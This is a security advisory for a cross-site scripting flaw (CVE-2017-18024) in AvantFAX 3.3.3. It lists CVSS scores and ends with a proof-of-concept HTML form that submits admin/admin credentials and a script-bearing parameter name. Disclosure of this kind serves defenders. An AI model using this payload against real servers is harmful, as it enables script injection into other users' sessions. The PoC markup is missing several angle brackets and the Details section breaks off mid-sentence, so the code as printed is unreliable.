AvantFAX 3.3.3 Cross Site Scripting

Credit: Nassim Asrir
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Title: AvantFAX 3.3.3 - XSS # Author: Nassim Asrir # Contact: wassline@gmail.com # Vendor: https://www.officetracker.com/ # CVE: CVE-2017-18024 # Description AvantFAX 3.3.3 has XSS via an arbitrary parameter name to the default URI, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1. ------------------------------------------ # Details The name of an arbitrarily supplied body parameter is copied into the HTML document as plain text between tags. The payload jlbqg<scriptalert(1)</scriptb7g0x was submitted in the name of an arbitrarily supplied body parameter. This input was echoed ------------------------------------------ #Attack Type Remote ------------------------------------------ # POC <html> <body <scripthistory.pushState('', '', '/')</script <form action="http://server/" method="POST" <input type="hidden" name="username" value="admin" / <input type="hidden" name="password" value="admin" / <input type="hidden" name="&#95;submit&#95;check" value="1" / <input type="hidden" name="jlbqg&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;b7g0x" value="1" / <input type="submit" value="Submit request" / </form </body </html

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